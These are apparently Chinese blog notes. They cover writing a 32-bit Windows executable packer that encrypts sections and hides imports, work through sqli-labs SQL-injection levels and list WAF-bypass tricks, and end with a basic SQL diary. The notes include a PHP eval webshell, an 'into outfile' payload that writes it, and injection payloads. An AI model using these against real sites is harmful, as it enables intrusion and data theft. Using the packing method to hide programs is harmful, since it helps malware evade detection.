MyMessageBoxA g_MyMessageBoxA = NULL;

之后,在解密部分实现里,就可以使用API来操作数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL DecodeSections()
{
int key = 0xBC;
//写入后,得到exe的镜像基址,并获取其节区
HMODULE hModule = g_MyGetModuleHandleA(0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
char* sectionBuff = (char *)(pSectionHeader->VirtualAddress + (DWORD)hModule);
//解密
DWORD oldProtect;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, PAGE_EXECUTE_READWRITE, &oldProtect);
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
sectionBuff[i] ^= key;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, oldProtect, &oldProtect);

return TRUE;
}

void MyCode()
{
g_MyMessageBoxA(0, "壳代码执行!", "提示", 0);
}

此时便有了dll文件,在之前的MyShell类的main函数中做出如下拼装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define CHARACTERISTICS 0xE00000E0

typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

int main()
{
MyShell myShell;

if (argc < 2)
{
printf("\nUsage: %s + ./file_you_want_pack\n\n", argv[0]);
return 0;
}
char* path = argv[1];

//载入目标exe并对节区加密
myShell.LoadFile(path);
myShell.EncodeSections();
//载入上面编写好的dll文件
HMODULE hModule = LoadLibraryA("ShellCode.dll");
//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//将shellcode“粘贴”进目标exe文件
myShell.InsertSection("BcShell", pDllSectionHeader->Misc.VirtualSize, buff, CHARACTERISTICS);

//设置新的OEP指向
myShell.SetOep(pOepInfo->newOEP - (DWORD)hModule - pDllSectionHeader->VirtualAddress);

myShell.SaveFile(path);

return 0;
}

至此一个加壳项目就 “完成” 了;

但这里任然保留了一个难点还没攻克:重定位表,在shellcode里编写的对全局变量引用的地址和在写入目标exe后所对应的地址是有问题的;

修复重定位表

重定位表结构

重定位表记录编译之前立即数地址所对应内容的位置,用于编译期间修复立即数,防止基址变化引起的立即数定位错误(类似于IAT在编译期间会修复原本指向名称为准确的地址);

其位于datadirectory[5];

重定位表中只有两个字段:VirtualAddress,SizeOfBlock,都为DWORD类型;

一个程序可能有多张重定位表;

其结构如下图所示:

relocate

其中sizeofblock为整个结构的大小(DWORD区域和WORD区域);

virtualaddress存放的内容一般为0x1000的整数倍;

word类型区域存放数据加上virtualaddress的数据则是某个立即数的准确rva;

这些rva转换为va之后,存的是立即数,而不是立即数对应的变量值;

word类型区域存放数据:0001 0000 0000 0000 ,高4位用于标识:0011为有效,其他位才是用来加virtualaddress的数据;

关于0x1000是对于4KB内存页的对齐,节省内存空间才这么设计的上述结构;

修复开始

对于将要修复的重定位表是针对于注入后的壳代码而言的,通过一个共同点:立即数地址对节区的偏移不变;

思路

  • 从dll中拿到原本的重定位表里的所有rva,利用这个rva和节区rva计算不变的相对偏移offset;
  • 通过offset再拿到镜像中这些立即数的存放PA地址,此时也就得到了立即数;
  • 再用同样的方法用立即数获取对应变量在镜像中新的立即数地址,并利用得到的PA地址来替换这些立即数;

对MyShell类新增函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//修复插入后壳代码的个别立即数
BOOL MyShell::RepairRelocate(DWORD imageBase)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
}

return TRUE;
}

对于以上实现的加壳项目只适用于32位且固定基址的程序;

固定基址的原因:全局变量的VA计算用到了dll的imagebase,OEP的提取也用到了imagebase;

动态基址问题

思路是将dll的重定位表也扔到加壳程序里,利用操作系统对壳代码修复重定位表;

此时壳代码可以畅通无阻地运行,则可以在壳代码中动态的获取程序基址计算OEP,修复原程序重定位表;

思路:

  • 塞入dll壳代码与重定位表;
  • 修复壳代码对应固定基址时立即数;
  • 修复重定位表(重定位表的virtualAddress相对加壳程序而言);
  • 修改加壳程序datadirectory[5]字段;
  • 修复原程序重定位表;

步骤一,更改了main中对insertSection的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();
------

//保存旧重定位表信息
DWORD oldRelocSize = 0;
char * oldReloc = myShell.SaveOldReloc(&oldRelocSize);
//保存PE文件名
PPENAME PeName = (PPENAME)GetProcAddress(hModule, "g_PeName");
strcpy_s(PeName->name, path);

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//获取导入表
myShell.GetImportTable();
//获取dll重定位表
char* pDllRelocate = (char *)(pDllNtHeader->OptionalHeader.DataDirectory[5].VirtualAddress + (DWORD)hModule);
//计算插入Buff
DWORD finalSize = oldRelocSize + pDllSectionHeader->Misc.VirtualSize + pDllNtHeader->OptionalHeader.DataDirectory[5].Size + myShell.GetImportTableSize();
char* finalBuff = new char[finalSize];
char* p = finalBuff;
memcpy(p, buff, pDllSectionHeader->Misc.VirtualSize);
p += pDllSectionHeader->Misc.VirtualSize;
if (oldReloc)
memcpy(p, oldReloc, oldRelocSize);
p += oldRelocSize;
memcpy(p, pDllRelocate, pDllNtHeader->OptionalHeader.DataDirectory[5].Size);

------
//将shellcode以及dll重定位表“粘贴”进目标exe文件
char* sectionBuff = myShell.InsertSection("BcShell", finalSize, finalBuff, CHARACTERISTICS);
delete[] finalBuff;

虚线内为更改部分,这使得插入的节区大小可以满足shellcode以及重定位表和原程序自己导入表和原重定位表的大小;

对于新增加的函数:SaveOldReloc()和 GetImportTable(),前者有以下说明,后者放在下一个小标题讲解;

1
2
3
4
5
6
7
char * MyShell::SaveOldReloc(DWORD * size)
{
*size = pOptionHeader->DataDirectory[5].Size;
char* reloc = Rva2Foa(pOptionHeader->DataDirectory[5].VirtualAddress) + fileBuff;

return reloc;
}

由于要修改加壳程序的datadirectory[5]字段,所以要先把原来的保存起来,以修复原程序的重定位表;

步骤二三四由之前的 RepairRelocate() 函数修改而来,首先对类定义了一些成员和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
DWORD inRelocSize;
PIMAGE_BASE_RELOCATION inRelocTable;
------

DWORD MyShell::Foa2Rva(DWORD foa)
{
DWORD rva = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (foa >= p->PointerToRawData && foa < p->PointerToRawData + p->SizeOfRawData)
{
rva = foa + p->VirtualAddress - p->PointerToRawData;
break;
}
}

return rva;
}

DWORD MyShell::Rva2Foa(DWORD rva)
{
DWORD foa = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (rva >= p->VirtualAddress && rva < p->VirtualAddress + p->Misc.VirtualSize)
{
foa = rva - p->VirtualAddress + p->PointerToRawData;
break;
}
}

return foa;
}

BOOL MyShell::GetInRelocTable(char* sectionBuff, DWORD offset)
{
inRelocTable = (PIMAGE_BASE_RELOCATION)(sectionBuff + offset);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

while (pInR->SizeOfBlock)
{
inRelocSize++;
pInR++;
}

return TRUE;
}

//修改后的
BOOL MyShell::RepairRelocate(DWORD imageBase, char* sectionBuff,DWORD offset)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//shellcode段RVA
DWORD shellCodeRVA = Foa2Rva(sectionBuff - fileBuff);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
//修复壳代码重定位表
pInR->VirtualAddress = pDllRelocate->VirtualAddress - pDllSectionHeader->VirtualAddress + shellCodeRVA;
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
pInR++;
}
//修改目标data目录指向注入重定位表
DWORD ss = 0;
SaveOldReloc(&ss);
DWORD tableNewRva = Foa2Rva((DWORD)sectionBuff + offset - (DWORD)fileBuff - ss);
pOptionHeader->DataDirectory[5].VirtualAddress = tableNewRva;
pOptionHeader->DataDirectory[5].Size += pDllOptionHeader->DataDirectory[5].Size;

return TRUE;
}

步骤五,实则已经实现,在步骤一将两张重定位表顺序插入shellcode之后,且在上面的代码中最后几段将导入表size更改为了两个size叠加;

用这个方法可以绕过动态基质,但是这个架构写出的壳有个bug,导致原程序加壳后变成固定基址了…虽然可以正常跑….

加密导入表

此步骤针对于程序安全性质而言;

针对加壳程序的导入表加密,对API进行保护;

步骤:

  • 转移导入表进新区段,并抹掉原导入表(填充00,并将datadirectory[1]指向一个假表);
  • 对API名称加密;
  • 对新导入表加密;
  • 于壳代码中解密并手动模拟导入表的修复(使用对应dll的导出表);

此处只给出了转移导入表部分的代码,对于后期加密部分可参考上一篇 Windows_ShellCode;

当此处实现后,因为可以由代码自己修复导入表和重定位表,则原程序的.idata段和.reloc段就随便乱改都没问题了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//新增字段
DWORD importTableSize;
PIMAGE_IMPORT_DESCRIPTOR pImportTable;
------

char* MyShell::GetImportTable()
{
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(Rva2Foa(pOptionHeader->DataDirectory[1].VirtualAddress) + (DWORD)fileBuff);
for (PIMAGE_IMPORT_DESCRIPTOR p = pImportTable; p->Name != NULL; p++)
importTableSize++;
importTableSize++;
importTableSize *= sizeof(IMAGE_IMPORT_DESCRIPTOR);

return (char *)pImportTable;
}

BOOL MyShell::MoveImportTable(char* sectionBuff, DWORD offset)
{
PIMAGE_IMPORT_DESCRIPTOR newImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(sectionBuff + offset);
//移动到指定区段偏移位置
memcpy(newImportTable, pImportTable, importTableSize);
memset(pImportTable, 0x00, importTableSize);
pImportTable = newImportTable;
//修改datadirectory对应rva
pOptionHeader->DataDirectory[1].VirtualAddress = Foa2Rva((DWORD)newImportTable - (DWORD)fileBuff);

return TRUE;
}

DWORD MyShell::GetImportTableSize()
{
return importTableSize;
}

加密这里有个坑,按dll遍历函数名称填地址的时候,kernel32和kernelbase里有ntdll的函数引用,但是又有同名函数干扰,要想办法将对应dll的API地址填充正确,解决方法是判断导入表名称是否为kernel32或者kernelbase,如果是则多循环一次,多循环的一次dll则加载ntdll;

完成所有内容(包括加密导入表的所有步骤)的加壳项目:

关于加壳dll需要添加一个名字结构数组来传递模块名称,否则GetModuleHandle(0)是进程基址;

( BUG 肯定是有的( 缺陷是支持32位且节区头需要空闲 (

脱壳

脱壳手段于之前基础篇大部分都提及;

此外,esp定律一般是哄骗小学生的,大部分时候都用不到;

但基础篇尚未提及一点,在dump之后的文件虽然是可以查看其源码的,但如果需要动调,是无法实现的;

此时要让dump的程序能运行,则需要修复其导入表,因为此时导入表dump出的是实打实的地址,需要利用地址反找函数符号,重新构建导入表结构;

修复导入表一般用脚本完成,脚本实现思路如上述所示;

阅读全文
SQL注入-sqlilabs

本篇根据sqli-labs展开而来笔记,基于mysql,php的环境;

前置知识:SQL语法,在SQL学习日记中有讲述;

less01~less04

解题一般步骤/思路

  1. 判断是否可注入(单引号/双引号/括号报错)
  2. 判断字段数,使用order by n;
    • order by n 的含义是按照第n个字段排序;
  3. 确定回显字段,使用 union select 1,2,…,n;
    • 联合查找将前面的select联系起来,select 常数 的含义是给查询结果一个临时的列,这个列所有行都是这个常数,一共有表内对象个的行数;
    • 在使用时,往往回显只显示第一行(联合查找前半段),需要将第一行的内容屏蔽掉,如limit,或者使第一行等于一个非法值;
  4. 利用回显的字段查询出数据库,表,字段,以及需要的所有数据;
1
2
3
4
select schema_name from information_schema.schemata  		#找库
select table_name from information_schema.tables where table_schema='' #从库找表
select column_name from information_schema.colunms where table_name='' #从表找字段
select * from xxx.xxx #找数据

在找数据时,经常用到以下两个函数:

group_concat()

  • 使此函数括号内的查询结果拼成一行,如图;

group_concat()

concat_ws()

  • 此函数有三个参数,第一个为拼接符,后两个为拼接字段,输出为两个字段的拼接态,如图;

concat_ws

为什么需要使用这两个函数?正如前面所述,回显一般只显示查询的第一行,需要将查到的账号密码拼接而且合并为一行输出,这样才能在回显上观察到需要的全貌;

less05~less06

此类型为:

布尔盲注

回显只会显示查询结果正确或是错误,不会回显出查询的内容;

使用以下函数以进行对字符串的操作:

left()

其中有两个参数,第一个为字符串,第二个为长度,作用为从左截取长度个字符串内的字符;

例如以下内容:

1
left(database(),4);				#截取当前数据库名的前4个字符

由此可以对截取内容进行比较:

1
select left(database(),1)='s';			#正确返回1,错误返回0

由此来使得获取库名的目的;

substr()

三个参数,第一个为字符串,第二个为起始位置,第三个为截取长度,例如substr(a,b,c),作用为截取a字符串,从b位置开始,截取c位长度;

ascii()

将输入的字符转为其ascii值;

使用以上函数便可完成对字符的判断,从而得到库名,一般不会直接使用等于多少多少字符,而是每个字符转为ascii后采用二分法判断其是哪个字符;

当然也可用BP抓包,暴力破解,具体步骤为抓包->转发测试器(Intruder)->添加变量位置->选择暴力破解->规定字符集以及长度->选择进程数->开始;

测出的发包观察其长度变化,找到独异个体,查看其响应包内是否为正确回显即可;

之后便根据此方法依次判断库名,表名,字段名,以及账号密码;

less07

一句话木马

由于才疏识浅,能找到的内容如下,会有不严谨和错误的地方:

php版本:

1
<?php @eval($_POST['pass']);?>

上传到目的网址后,使用中国菜刀打开其路径并加上pass变量,即可查看其所有数据;

其含义为 <?php ?> 是html将此包裹里的内容作为php语句执行;

艾特符号取消报错,eval函数将输入的字符串作为命令执行;

$_POST变量是全局的php变量,也是一个数组,括号内的pass则是其下标,对应pass变量,译作将post发送的内容转给pass变量;

整句话的意思是:将post的内容作为指令在服务器上执行;

中国菜刀的原理简单理解为窗口化的post输入指令,每点一下都是在对服务器post指令;

into outfile

写文件关键字,用法:

1
select a,b,c into outfile 'path\\1.txt';

load_file()

读文件,直接跟在select后面作为查询内容,参数为文件路径;

解法也如同之前所述,先判断注入点,之后用 into outfile 将一句话木马作为字符串写入目标文件内,之后便可用中国菜刀访问web shell;

less08~less10

if()

类似三目运算,三个参数,第一个为条件,第二个为真时返回值,第三个为假时返回值;

if函数一般与sleep函数一起使用,sleep函数的参数单位为秒,构成时间盲注的句子;

时间盲注

当回显内容为空时,此时可以采用时间盲注的方法;

回显为空时如何判断注入漏洞?在可能出现漏洞的地方加入sleep函数来测试,是否响应时间变动;

布尔盲注是根据回显判断内容是否正确,那么时间盲注即是根据响应时间来判断是否正确,如下面一段话:

1
select if(length(database())=7,1,sleep(5))

当前数据库名长度为7时返回1,否则睡眠5秒,在where中加入此条件的话,会导致判断时网页的响应时间发生变化,由此进行判断;

由此方法与布尔盲注类似,不断去判断库名,表名,字段名,拿到数据;

也可以用sqlmap脚本自动爆破,以及bp;

此方法的开销较大,一般不选用;

less11~less16

POST注入

比起get注入,需要注意的点为参数名称需要用bp抓包来获取,之后使用hackbar的post方法发包,且注释符需要使用 # ,–+ 一般用于url中;

获取到注入点也同之前一样,之后,可使用 or 1=1 来永真返回;

查找表和数据的步骤如之前一样进行;

盲注步骤也一样;

less17

报错注入

核心函数:

updatexml()

三个参数,第一个为XML文档对象的名称,第二个为Xpath格式的字符串,第三个为替换数据;

作用为改变文档中符合条件的节点;

extractvalue()

两个参数,用法同上函数,第一个参数为对象名,第二个为Xpath格式的字符串;

而在报错注入中,concat函数返回的类型时一个字符串,不符合xpath的格式,所以会报错,并给出这个字符串的内容,从而获取信息;

如下:

1
mysql> select * from users where updatexml(1,concat(0x7e,database(),0x7e),1);

会导致其报错而显示database的内容:

xpath error

这个方法有什么用?

高效:对于无回显可以这么用,直接拿名称;

防止过滤关键词,比如不让用union select了怎么查呢?

less18~less22

http头注入

当发包信息参与了sql语句时,可以利用http头进行注入(如回显有这些内容时,可以猜测);

一般是将useragent,或者ip,或者等等的头信息作为参数加入sql语言中;

思路是使用bp重构这些参数,使其在sql语句中时产生注入漏洞;

注意:不要打乱这些参数序列!!!(构造闭合

cookie注入如法炮制,cookie的发包一般在原包的后面一个包,里面包含了cookie字段;

对于base64编码的内容,也需要将构造的payload进行base64编码然后发包;

例如:

18关登录成功的情况下是会回显useragent的:

feedback

利用bp的重发器,在useragent的地方使用单引号判断出有注入漏洞,则可在这个位置进行payload构造:

repeat

注意根据语法错误构造闭合:

原内容为注入点后面还有两个字符串,并且有个括号,那么构造payload应该为:

1
2
3
' payload,'','') #
或者
' payload or '1' = 1'

之后如法炮制拿数据;

至此,基础篇结束;

less23

当 –+ 或者 # 被注释掉时,可以试用如下内容:

1
;%00

我的理解是单引号分割语句,%00为url编码中的空字符对后面的内容进行截断,导致sql语言能正常执行;

也可以构造常规语句来闭合引号;

SQL语句执行顺序

在where附加条件时,如果order by 后面还有跟 and or 一类的连接符,order by 会被忽略掉;

less24

二次注入

注入时,特殊字符被转义无法导致注入,只有将转义后的内容存入数据库,之后引用这个数据时发生注入漏洞,称二次注入;

例子:在注册用户时,给已有用户名后面加 ‘# 符号,致使 user’#被创建,在修改密码时,引用字符应为:

1
UPDATE users SET password='sss' where username='user'#'

此时发生注入漏洞,并将原本的user账户的密码修改了;

less25~less25a

WAF绕过

可分为三类:

  • 白盒绕过

    • 通过获取源码分析的方式进行绕过;
  • 黑盒绕过

    • 架构层面

      ​ 寻找原网站绕过:针对云WAF,云waf的作用类似于拦截网,先通过其进行验证,之后将数据交给原网址,类似CDN;

      ​ 对于CDN:通过超级ping,在不同地区的CDN返回ping值不同的结果;

      ​ 注册,直接转到原网站;

      ​ 通过国外IP地址访问,对于个别网站CDN只针对于国内;

      ​ 通过同网段绕过:一个网段中,经过的数据可能不会经过云WAF,可以先拿到网段中其他主机的权限,对目标交互;

      ​ 对于网段解释:192.168.1.0 ~ 192.168.1.255称为一段 (局域网概念)

    • 资源限制角度

      ​ 一般WAF执行需要优先考虑业务优先原则,对于构造超大的数据包可能不会进行检测,实现绕过;

    • 协议层面

      ​ get型比post型要小,由于业务需求,只对get检测,可通过在post内构造图片后面跟注入语句的方式进行测试;

      ​ 参数污染:index?id=1&id=2 可能只对id=1进行检测;

    • 规则层面

      ​ sql注释符绕过:当不允许使用空格,用/**/来代替空格,或者在注释内添加超长内容;

      ​ 使用内联注释(mysql特有) /*!union select */ 注释内的代码可执行;

      ​ 也可以用括号将关键字分割开;

      ​ 空白符绕过: 对于空格的填充,url编码;

      ​ mysql空白符:%09; %0A; %0B; %0D; %20; %0C; %A0;

      ​ 正则空白符:%09; %0A; %0B; %0D; %20;

      ​ %25编码为%,%25A0则是空白符;

      ​ 函数分隔符号: 将一个函数进行分割,在函数名称后面跟空白符;

      ​ 浮点数词法解释:WAF对id=1可以检测,但对于id=1.0、id=\N、id=1E0可能无法检测;

      ​ 利用error-based进行sql注入;

      ​ mysql特殊语法:例如 select {x name} from {x table};

      ​ 大小写绕过: 如果对 and or union 关键字过滤,可以采用大小写混用的方法,也可使用双写;

      ​ 在过滤大小写混用时,采用OORr的写法,会被过滤为or(中间or消失),则是双写,也可以尝试关键词替换;

  • fuzz测试

    • 使用bp测试,测试成功用脚本处理;

使用报错注入过滤空格可用 ^ 来连接函数,针对and or全面封锁;

less26~less28a

本题通关方式与25大差不差,原理也和WAF绕过有关;

脚本获取空格符替换对应的url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

#循环查找编码
for i in range(0,256):
code = hex(i).replace('0x','')
if(len(code) < 2):
code = '0' + code
code = '%' + code
#构造发送url
url = "http://127.0.0.1/sqli-labs-master/Less-26/?id=1'" + code + "%26%26" + code + "'1'=1'"
#通过回响包中是否返回正确的内容来判断空格正确
r = requests.get(url)
#解码raw
if 'Dumb' in r.content.decode('utf-8','ignore'):
print(code)

这里需要提一下,windows的apache环境对于空格编码有问题,需要docker环境搭建的sqli靶场才能用上述脚本找出合适的编码,不然统统都不能过;

当然也可以用报错注入的方式来获取内容,用括号分割关键字,就不需要空格了;

使用命令:

1
2
docker run -dt --name Dsqli -p 80:80 --rm acgpiano/sqli-labs
docker start ID

用pull建立镜像后,run,之后映射80端口,使用ssh连接时使用的ip和端口访问docker搭建的靶场;

对于where 后面 加括号包裹,会将结果返回为0或1,导致有时候只用引号就能判断出注入点,实际上是误判了,这样只用引号去闭合会出现中间的内容写了也没有作用,只有加括号闭合的方式,才能使得中间的语句成功执行;

less29~less31

服务器两层架构

客户端首先发送请求给tomcat服务器,之后由此服务器转交给apache,响应后返回给tomcat,由tomcat传递给客户端;

客户端访问url传递两个相同参数,tomcat接收第一个,apache接收第二个,第一个使用 getParameter 接收纯数字,第二个用php的get变量接收字符串;

less32~less37

宽字节注入

php和mysql默认编码为GBK,支持两字节编码,函数执行添加的是ASCII编码(单字节);

假如使用单引号注入时,mysql对 id=1' 进行了处理使用斜杠转义 id=1\' ,就无法完成注入;

如果此时在1后面跟 %df 并加上单引号,会让代码部分变成这样的内容: id=1%df\' ;

而斜杠的url编码是 %5c , 此时代码部分原义为 id=1%df%5c' ,%df%5c 会被编码为GBK中宽字节的内容;

此时代码部分是这样的: id=1字' ,由于斜杠被编码带入了,单引号得不到转义,可以完成注入;

第二种方法,将转义单引号的斜杠再转义,构造语句如下:

1
id=1%aa%5c'

%5c是斜杠,因为是和单引号一样的敏感内容,所以同样会添加斜杠转义,此时整句处理后的句子如下:

1
id=1 %aa%5c %5c%5c '   -->    id=1字 \\ '

这样就把转义单引号的斜杠给转义掉了;

addslashes() / mysql_real_escape_string()

里面添加字符串,在字符串内每个敏感字符前添加反斜杠,也是一种起转义的方法;

在post注入时, %df 会被url编码为 %25 df 的raw字段,需要将raw的内容改为%df才能绕过转义,当已知转义的情况下,用正常post无法注入,记得抓包查看raw的内容;

less38~less45

堆叠注入

简单解释,一行两句sql语言,期间用;分号隔开;

其有局限性,第一,在某些环境下,数据库语言只支持一行一句,第二,web前端查询回显问题,一般只回显第一次查询结果;

使用堆叠注入写一句话木马

步骤:

  • 写权限;
  • 一句话木马;
  • 绝对路径;
  • select xxx into outfile xxx;
1
id=1'; select <?php @eval($_POST[pass]); ?> into outfile xxx;

less46~less53

lines terminated by 123

sql关键字,字面意义,在每行后面以 123 进行分割;

用于插入一句话木马,适用于order by 之后注入的情况,没办法使用堆叠注入的情况;

mysqli_multi_query()

使用这个函数可以一行执行多个SQL语句;

至此开启挑战篇;

less54~less75

挑战篇用以上内容都可以解决,就盲注手搓会比较恶心,之后学习sqlmap以及bp的脚本盲注;

补充

遇到select完全封锁的情况,且可使用堆叠,可以使用如下语句查看当前数据库下的内容:

1
2
3
show database;
show tables;
show columns from tableName;

之后使用二次注入的思想,利用已有的select查询语法,改变表名,列名,获取数据;

如下语句:

1
select n || id from users;

当n为数字时,一直回显都为1,当n不为数字,不会回显;

当心注入位置的判断!不一定就在where之后!

阅读全文
SQL学习日记

说实话这篇写的不算什么好玩意儿,没有参考价值,对我有记忆的价值,仅此而已;

表的增删改查

假设一张表称为tableA,其结构如下:

id name major
a001 bear a
a002 child b
a003 steve c

SELECT

查找语句,一般用法:

1
2
3
SELECT * from tableA                 #从tableA里查找所有
SELECT tableA.id,major from tableA #从tableA里查找除了name的
SELECT * from student where name like '%e%' #从tableA里模糊查找带e的内容 %为任意

like为模糊查找;

INSERT

增添语句,一般用法:

1
INSERT INTO tableA VALUES('a004','crazy','d')   #对tableA插入一行内容

UPDATE

改动语句,一般用法:

1
UPDATE tableA set id = 'a007' where id = 'a001' #讲a001的id改为a007,set where不可颠倒

where即条件查询,后面跟条件,不加where,则全体内容的id都设置为a007,如果id是pk则会失败;

set是设置,设置一个字段等于一个新值;

DELETE

删除语句,一般用法:

1
DELETE from tableA where id = 'a001'  #删除id为a001的所有字段

数据查询

单关系

无条件查询

1
SELECT * from tableA

只有from的语句;

条件查询

1
SELECT * from tableA where ...

where后面跟的…即为条件,可以是简单的运算比较符、逻辑运算;

  • 对于逻辑运算除了用&&,||,!来表示,也可用英文的AND,OR,NOT;
  • 使用BETWEEN AND可以约束条件范围,用法为: SELECT * from tableA where id BETWEEN 30 AND 40
  • 使用IN可以查询属于集合的元组,用法为: SELECT * from tableA where id IN ('123','123');
  • 上面两种查找都可以用运算符来代替
  • 使用NULL可以查询对应字段为空的空值查询,用法为: SELECT * from tableA where id IS NULL;
  • 使用LIKE进行模糊查找,用法在上方已给出;

聚合函数查询

使用以下函数来操控选择查询的字段值:

函数名 功能
AVG 字段平均值
SUM 字段总和
MAX 字段中最大值
MIN 同上
COUNT 字段值的个数

使用方法如下: SELECT SUM(score), COUNT(number) from student where ...

上述语句的含义为,查询student表中满足条件的score总和以及number的个数;

